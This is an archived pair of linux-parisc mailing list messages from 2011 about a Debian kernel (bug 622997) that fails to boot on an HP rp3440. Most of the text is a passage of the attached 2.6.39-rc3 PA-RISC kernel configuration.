To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian bug 622997
Date: Sat, 16 Apr 2011 16:14:39 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <1302988479.7967.0.camel@mulgrave.site>
References: <20110416192920.1E15B4FD9@hiauly1.hia.nrc.ca>
	 <1302986887.4058.13.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1302988492 22066 80.91.229.12 (16 Apr 2011 21:14:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 16 Apr 2011 21:14:52 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	622997@bugs.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 16 23:14:48 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBCpJ-0003Kz-UR
	for glpp-linux-parisc@lo.gmane.org; Sat, 16 Apr 2011 23:14:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755646Ab1DPVOn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Apr 2011 17:14:43 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46752 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755605Ab1DPVOm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Apr 2011 17:14:42 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 694BA8EE023;
	Sat, 16 Apr 2011 14:14:42 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ggXr-HZkQ08x; Sat, 16 Apr 2011 14:14:42 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D09AB8EE01D;
	Sat, 16 Apr 2011 14:14:41 -0700 (PDT)
In-Reply-To: <1302986887.4058.13.camel@mulgrave.site>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3540
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3540>

On Sat, 2011-04-16 at 15:48 -0500, James Bottomley wrote:
> On Sat, 2011-04-16 at 15:29 -0400, John David Anglin wrote:
> > > On Sat, 2011-04-16 at 14:07 -0400, John David Anglin wrote:
> > > > I posted this debian bug report because the most recent debian
> > > > SMP kernel build fails to boot on my rp3440:
> > > > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=622997
> > > > 
> > > > I don't think debian kernels have worked since lenny.
> > > 
> > > Hmm, well upstream ones have: so it's likely a patch debian has but
> > > upstream doesn't, or it could be a toolchain issue ... I didn't think
> > > gcc-4.4.5 worked properly on 64 bit without a few patches?
> > 
> > Yes, but debian tends to build almost everything.  For some reason,
> > I've turned off ipv6.  Unlike many kernel bugs, this one is completely
> > reproducible.
> 
> I suppose it could be USB ... before I got ion, I didn't have any parisc
> systems with USB, so it's turned off in my build.  I'll turn it on and
> see if there's a problem there.

Strike that one ... I enabled USB in my 2.6.39-rc3 build and it inserts
the OHCI module and discovers the ports just fine.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian bug 622997
Date: Sat, 16 Apr 2011 19:35:57 -0400
Organization: nrc.ca
Lines: 3400
Approved: news@gmane.org
Message-ID: <20110416233556.GA19802@hiauly1.hia.nrc.ca>
References: <20110416192920.1E15B4FD9@hiauly1.hia.nrc.ca> <1302986887.4058.13.camel@mulgrave.site> <1302988479.7967.0.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="bp/iNruPH9dso1Pn"
X-Trace: dough.gmane.org 1302996984 25420 80.91.229.12 (16 Apr 2011 23:36:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 16 Apr 2011 23:36:24 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	622997@bugs.debian.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 17 01:36:17 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBF2C-0007oB-AT
	for glpp-linux-parisc@lo.gmane.org; Sun, 17 Apr 2011 01:36:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753923Ab1DPXgL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Apr 2011 19:36:11 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2066 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760480Ab1DPXgA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Apr 2011 19:36:00 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 515C74DF4; Sat, 16 Apr 2011 19:35:57 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1302988479.7967.0.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3541
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3541>


--bp/iNruPH9dso1Pn
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Sat, 16 Apr 2011, James Bottomley wrote:

> Strike that one ... I enabled USB in my 2.6.39-rc3 build and it inserts
> the OHCI module and discovers the ports just fine.

Boot 2.6.39-rc3 fails for me with attached config.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--bp/iNruPH9dso1Pn
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="config-2.6.39-rc3+"

#
# Automatically generated make config: don't edit
# Linux/parisc 2.6.39-rc3 Kernel Configuration
# Sat Apr 16 12:33:11 2011
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_FIND_BIT_LE=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_TIME_LOW_RES=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_CONSTRUCTORS=y
CONFIG_HAVE_IRQ_WORK=y
CONFIG_IRQ_WORK=y

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE=""
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_BSD_PROCESS_ACCT_V3=y
# CONFIG_FHANDLE is not set
CONFIG_TASKSTATS=y
CONFIG_TASK_DELAY_ACCT=y
CONFIG_TASK_XACCT=y
CONFIG_TASK_IO_ACCOUNTING=y
CONFIG_AUDIT=y
CONFIG_HAVE_GENERIC_HARDIRQS=y

#
# IRQ subsystem
#
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
# CONFIG_PREEMPT_RCU is not set
# CONFIG_RCU_TRACE is not set
CONFIG_RCU_FANOUT=32
# CONFIG_RCU_FANOUT_EXACT is not set
# CONFIG_TREE_RCU_TRACE is not set
# CONFIG_IKCONFIG is not set
CONFIG_LOG_BUF_SHIFT=17
CONFIG_CGROUPS=y
# CONFIG_CGROUP_DEBUG is not set
CONFIG_CGROUP_NS=y
CONFIG_CGROUP_FREEZER=y
CONFIG_CGROUP_DEVICE=y
CONFIG_CPUSETS=y
CONFIG_PROC_PID_CPUSET=y
CONFIG_CGROUP_CPUACCT=y
# CONFIG_RESOURCE_COUNTERS is not set
# CONFIG_CGROUP_PERF is not set
CONFIG_CGROUP_SCHED=y
CONFIG_FAIR_GROUP_SCHED=y
# CONFIG_RT_GROUP_SCHED is not set
CONFIG_BLK_CGROUP=y
# CONFIG_DEBUG_BLK_CGROUP is not set
CONFIG_NAMESPACES=y
CONFIG_UTS_NS=y
CONFIG_IPC_NS=y
CONFIG_USER_NS=y
CONFIG_PID_NS=y
CONFIG_NET_NS=y
CONFIG_SCHED_AUTOGROUP=y
# CONFIG_SYSFS_DEPRECATED is not set
CONFIG_RELAY=y
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_XZ=y
CONFIG_RD_LZO=y
CONFIG_CC_OPTIMIZE_FOR_SIZE=y
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
# CONFIG_EXPERT is not set
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
CONFIG_PERF_EVENTS=y
# CONFIG_PERF_COUNTERS is not set
# CONFIG_DEBUG_PERF_USE_VMALLOC is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
CONFIG_SLUB_DEBUG=y
# CONFIG_COMPAT_BRK is not set
# CONFIG_SLAB is not set
CONFIG_SLUB=y
CONFIG_PROFILING=y
# CONFIG_OPROFILE is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_USE_GENERIC_SMP_HELPERS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
CONFIG_MODULE_FORCE_LOAD=y
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
CONFIG_MODVERSIONS=y
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
CONFIG_BLK_DEV_BSG=y
CONFIG_BLK_DEV_INTEGRITY=y
# CONFIG_BLK_DEV_THROTTLING is not set
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
CONFIG_CFQ_GROUP_IOSCHED=y
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
CONFIG_PADATA=y
# CONFIG_INLINE_SPIN_TRYLOCK is not set
# CONFIG_INLINE_SPIN_TRYLOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK is not set
# CONFIG_INLINE_SPIN_LOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK_IRQ is not set
# CONFIG_INLINE_SPIN_LOCK_IRQSAVE is not set
CONFIG_INLINE_SPIN_UNLOCK=y
# CONFIG_INLINE_SPIN_UNLOCK_BH is not set
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
# CONFIG_INLINE_SPIN_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_READ_TRYLOCK is not set
# CONFIG_INLINE_READ_LOCK is not set
# CONFIG_INLINE_READ_LOCK_BH is not set
# CONFIG_INLINE_READ_LOCK_IRQ is not set
# CONFIG_INLINE_READ_LOCK_IRQSAVE is not set
CONFIG_INLINE_READ_UNLOCK=y
# CONFIG_INLINE_READ_UNLOCK_BH is not set
CONFIG_INLINE_READ_UNLOCK_IRQ=y
# CONFIG_INLINE_READ_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_WRITE_TRYLOCK is not set
# CONFIG_INLINE_WRITE_LOCK is not set
# CONFIG_INLINE_WRITE_LOCK_BH is not set
# CONFIG_INLINE_WRITE_LOCK_IRQ is not set
# CONFIG_INLINE_WRITE_LOCK_IRQSAVE is not set
CONFIG_INLINE_WRITE_UNLOCK=y
# CONFIG_INLINE_WRITE_UNLOCK_BH is not set
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
# CONFIG_INLINE_WRITE_UNLOCK_IRQRESTORE is not set
CONFIG_MUTEX_SPIN_ON_OWNER=y
CONFIG_FREEZER=y

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
# CONFIG_PREEMPT_NONE is not set
CONFIG_PREEMPT_VOLUNTARY=y
# CONFIG_PREEMPT is not set
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_COMPACTION=y
CONFIG_MIGRATION=y
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
CONFIG_KSM=y
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_COMPAT=y
CONFIG_NR_CPUS=8

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
CONFIG_ISA=y
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
# CONFIG_PCI_DEBUG is not set
CONFIG_PCI_STUB=m
CONFIG_PCI_IOV=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
CONFIG_PCCARD=m
CONFIG_PCMCIA=m
CONFIG_PCMCIA_LOAD_CIS=y
CONFIG_CARDBUS=y

#
# PC-card bridges
#
CONFIG_YENTA=m
CONFIG_YENTA_O2=y
CONFIG_YENTA_RICOH=y
CONFIG_YENTA_TI=y
CONFIG_YENTA_ENE_TUNE=y
CONFIG_YENTA_TOSHIBA=y
CONFIG_PD6729=m
CONFIG_I82092=m
CONFIG_I82365=m
# CONFIG_TCIC is not set
CONFIG_PCCARD_NONSTATIC=y
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=m
CONFIG_NET=y
CONFIG_COMPAT_NETLINK_MESSAGES=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
CONFIG_XFRM_SUB_POLICY=y
CONFIG_XFRM_MIGRATE=y
# CONFIG_XFRM_STATISTICS is not set
CONFIG_XFRM_IPCOMP=m
CONFIG_NET_KEY=m
CONFIG_NET_KEY_MIGRATE=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_ROUTE_CLASSID=y
CONFIG_IP_PNP=y
# CONFIG_IP_PNP_DHCP is not set
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
CONFIG_NET_IPIP=m
CONFIG_NET_IPGRE_DEMUX=m
CONFIG_NET_IPGRE=m
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IP_MROUTE=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
CONFIG_INET_IPCOMP=m
CONFIG_INET_XFRM_TUNNEL=m
CONFIG_INET_TUNNEL=m
CONFIG_INET_XFRM_MODE_TRANSPORT=m
CONFIG_INET_XFRM_MODE_TUNNEL=m
CONFIG_INET_XFRM_MODE_BEET=m
CONFIG_INET_LRO=m
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
CONFIG_TCP_CONG_ADVANCED=y
CONFIG_TCP_CONG_BIC=m
CONFIG_TCP_CONG_CUBIC=y
CONFIG_TCP_CONG_WESTWOOD=m
CONFIG_TCP_CONG_HTCP=m
CONFIG_TCP_CONG_HSTCP=m
CONFIG_TCP_CONG_HYBLA=m
CONFIG_TCP_CONG_VEGAS=m
CONFIG_TCP_CONG_SCALABLE=m
CONFIG_TCP_CONG_LP=m
CONFIG_TCP_CONG_VENO=m
CONFIG_TCP_CONG_YEAH=m
CONFIG_TCP_CONG_ILLINOIS=m
CONFIG_DEFAULT_CUBIC=y
# CONFIG_DEFAULT_RENO is not set
CONFIG_DEFAULT_TCP_CONG="cubic"
CONFIG_TCP_MD5SIG=y
CONFIG_IPV6=m
CONFIG_IPV6_PRIVACY=y
CONFIG_IPV6_ROUTER_PREF=y
CONFIG_IPV6_ROUTE_INFO=y
CONFIG_IPV6_OPTIMISTIC_DAD=y
CONFIG_INET6_AH=m
CONFIG_INET6_ESP=m
CONFIG_INET6_IPCOMP=m
CONFIG_IPV6_MIP6=m
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
CONFIG_INET6_XFRM_MODE_TRANSPORT=m
CONFIG_INET6_XFRM_MODE_TUNNEL=m
CONFIG_INET6_XFRM_MODE_BEET=m
CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION=m
CONFIG_IPV6_SIT=m
CONFIG_IPV6_SIT_6RD=y
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
CONFIG_IPV6_MULTIPLE_TABLES=y
CONFIG_IPV6_SUBTREES=y
CONFIG_IPV6_MROUTE=y
CONFIG_IPV6_MROUTE_MULTIPLE_TABLES=y
CONFIG_IPV6_PIMSM_V2=y
# CONFIG_NETLABEL is not set
CONFIG_NETWORK_SECMARK=y
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_NETFILTER_ADVANCED=y
CONFIG_BRIDGE_NETFILTER=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_NETLINK=m
CONFIG_NETFILTER_NETLINK_QUEUE=m
CONFIG_NETFILTER_NETLINK_LOG=m
CONFIG_NF_CONNTRACK=m
CONFIG_NF_CONNTRACK_MARK=y
CONFIG_NF_CONNTRACK_SECMARK=y
CONFIG_NF_CONNTRACK_ZONES=y
CONFIG_NF_CONNTRACK_EVENTS=y
# CONFIG_NF_CONNTRACK_TIMESTAMP is not set
CONFIG_NF_CT_PROTO_DCCP=m
CONFIG_NF_CT_PROTO_GRE=m
CONFIG_NF_CT_PROTO_SCTP=m
CONFIG_NF_CT_PROTO_UDPLITE=m
CONFIG_NF_CONNTRACK_AMANDA=m
CONFIG_NF_CONNTRACK_FTP=m
CONFIG_NF_CONNTRACK_H323=m
CONFIG_NF_CONNTRACK_IRC=m
CONFIG_NF_CONNTRACK_BROADCAST=m
CONFIG_NF_CONNTRACK_NETBIOS_NS=m
CONFIG_NF_CONNTRACK_SNMP=m
CONFIG_NF_CONNTRACK_PPTP=m
CONFIG_NF_CONNTRACK_SANE=m
CONFIG_NF_CONNTRACK_SIP=m
CONFIG_NF_CONNTRACK_TFTP=m
CONFIG_NF_CT_NETLINK=m
CONFIG_NETFILTER_TPROXY=m
CONFIG_NETFILTER_XTABLES=m

#
# Xtables combined modules
#
CONFIG_NETFILTER_XT_MARK=m
CONFIG_NETFILTER_XT_CONNMARK=m
CONFIG_NETFILTER_XT_SET=m

#
# Xtables targets
#
CONFIG_NETFILTER_XT_TARGET_AUDIT=m
CONFIG_NETFILTER_XT_TARGET_CHECKSUM=m
CONFIG_NETFILTER_XT_TARGET_CLASSIFY=m
CONFIG_NETFILTER_XT_TARGET_CONNMARK=m
CONFIG_NETFILTER_XT_TARGET_CONNSECMARK=m
CONFIG_NETFILTER_XT_TARGET_CT=m
CONFIG_NETFILTER_XT_TARGET_DSCP=m
CONFIG_NETFILTER_XT_TARGET_HL=m
CONFIG_NETFILTER_XT_TARGET_IDLETIMER=m
CONFIG_NETFILTER_XT_TARGET_LED=m
CONFIG_NETFILTER_XT_TARGET_MARK=m
CONFIG_NETFILTER_XT_TARGET_NFLOG=m
CONFIG_NETFILTER_XT_TARGET_NFQUEUE=m
CONFIG_NETFILTER_XT_TARGET_NOTRACK=m
CONFIG_NETFILTER_XT_TARGET_RATEEST=m
CONFIG_NETFILTER_XT_TARGET_TEE=m
CONFIG_NETFILTER_XT_TARGET_TPROXY=m
CONFIG_NETFILTER_XT_TARGET_TRACE=m
CONFIG_NETFILTER_XT_TARGET_SECMARK=m
CONFIG_NETFILTER_XT_TARGET_TCPMSS=m
CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP=m

#
# Xtables matches
#
CONFIG_NETFILTER_XT_MATCH_ADDRTYPE=m
CONFIG_NETFILTER_XT_MATCH_CLUSTER=m
CONFIG_NETFILTER_XT_MATCH_COMMENT=m
CONFIG_NETFILTER_XT_MATCH_CONNBYTES=m
CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=m
CONFIG_NETFILTER_XT_MATCH_CONNMARK=m
CONFIG_NETFILTER_XT_MATCH_CONNTRACK=m
CONFIG_NETFILTER_XT_MATCH_CPU=m
CONFIG_NETFILTER_XT_MATCH_DCCP=m
CONFIG_NETFILTER_XT_MATCH_DEVGROUP=m
CONFIG_NETFILTER_XT_MATCH_DSCP=m
CONFIG_NETFILTER_XT_MATCH_ESP=m
CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=m
CONFIG_NETFILTER_XT_MATCH_HELPER=m
CONFIG_NETFILTER_XT_MATCH_HL=m
CONFIG_NETFILTER_XT_MATCH_IPRANGE=m
CONFIG_NETFILTER_XT_MATCH_IPVS=m
CONFIG_NETFILTER_XT_MATCH_LENGTH=m
CONFIG_NETFILTER_XT_MATCH_LIMIT=m
CONFIG_NETFILTER_XT_MATCH_MAC=m
CONFIG_NETFILTER_XT_MATCH_MARK=m
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m
CONFIG_NETFILTER_XT_MATCH_OSF=m
CONFIG_NETFILTER_XT_MATCH_OWNER=m
CONFIG_NETFILTER_XT_MATCH_POLICY=m
CONFIG_NETFILTER_XT_MATCH_PHYSDEV=m
CONFIG_NETFILTER_XT_MATCH_PKTTYPE=m
CONFIG_NETFILTER_XT_MATCH_QUOTA=m
CONFIG_NETFILTER_XT_MATCH_RATEEST=m
CONFIG_NETFILTER_XT_MATCH_REALM=m
CONFIG_NETFILTER_XT_MATCH_RECENT=m
CONFIG_NETFILTER_XT_MATCH_SCTP=m
CONFIG_NETFILTER_XT_MATCH_SOCKET=m
CONFIG_NETFILTER_XT_MATCH_STATE=m
CONFIG_NETFILTER_XT_MATCH_STATISTIC=m
CONFIG_NETFILTER_XT_MATCH_STRING=m
CONFIG_NETFILTER_XT_MATCH_TCPMSS=m
CONFIG_NETFILTER_XT_MATCH_TIME=m
CONFIG_NETFILTER_XT_MATCH_U32=m
CONFIG_IP_SET=m
CONFIG_IP_SET_MAX=256
CONFIG_IP_SET_BITMAP_IP=m
CONFIG_IP_SET_BITMAP_IPMAC=m
CONFIG_IP_SET_BITMAP_PORT=m
CONFIG_IP_SET_HASH_IP=m
CONFIG_IP_SET_HASH_IPPORT=m
CONFIG_IP_SET_HASH_IPPORTIP=m
CONFIG_IP_SET_HASH_IPPORTNET=m
CONFIG_IP_SET_HASH_NET=m
CONFIG_IP_SET_HASH_NETPORT=m
CONFIG_IP_SET_LIST_SET=m
CONFIG_IP_VS=m
CONFIG_IP_VS_IPV6=y
# CONFIG_IP_VS_DEBUG is not set
CONFIG_IP_VS_TAB_BITS=12

#
# IPVS transport protocol load balancing support
#
CONFIG_IP_VS_PROTO_TCP=y
CONFIG_IP_VS_PROTO_UDP=y
CONFIG_IP_VS_PROTO_AH_ESP=y
CONFIG_IP_VS_PROTO_ESP=y
CONFIG_IP_VS_PROTO_AH=y
CONFIG_IP_VS_PROTO_SCTP=y

#
# IPVS scheduler
#
CONFIG_IP_VS_RR=m
CONFIG_IP_VS_WRR=m
CONFIG_IP_VS_LC=m
CONFIG_IP_VS_WLC=m
CONFIG_IP_VS_LBLC=m
CONFIG_IP_VS_LBLCR=m
CONFIG_IP_VS_DH=m
CONFIG_IP_VS_SH=m
CONFIG_IP_VS_SED=m
CONFIG_IP_VS_NQ=m

#
# IPVS application helper
#
CONFIG_IP_VS_FTP=m
CONFIG_IP_VS_NFCT=y
CONFIG_IP_VS_PE_SIP=m

#
# IP: Netfilter Configuration
#
CONFIG_NF_DEFRAG_IPV4=m
CONFIG_NF_CONNTRACK_IPV4=m
CONFIG_NF_CONNTRACK_PROC_COMPAT=y
CONFIG_IP_NF_QUEUE=m
CONFIG_IP_NF_IPTABLES=m
CONFIG_IP_NF_MATCH_AH=m
CONFIG_IP_NF_MATCH_ECN=m
CONFIG_IP_NF_MATCH_TTL=m
CONFIG_IP_NF_FILTER=m
CONFIG_IP_NF_TARGET_REJECT=m
CONFIG_IP_NF_TARGET_LOG=m
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_NF_NAT=m
CONFIG_NF_NAT_NEEDED=y
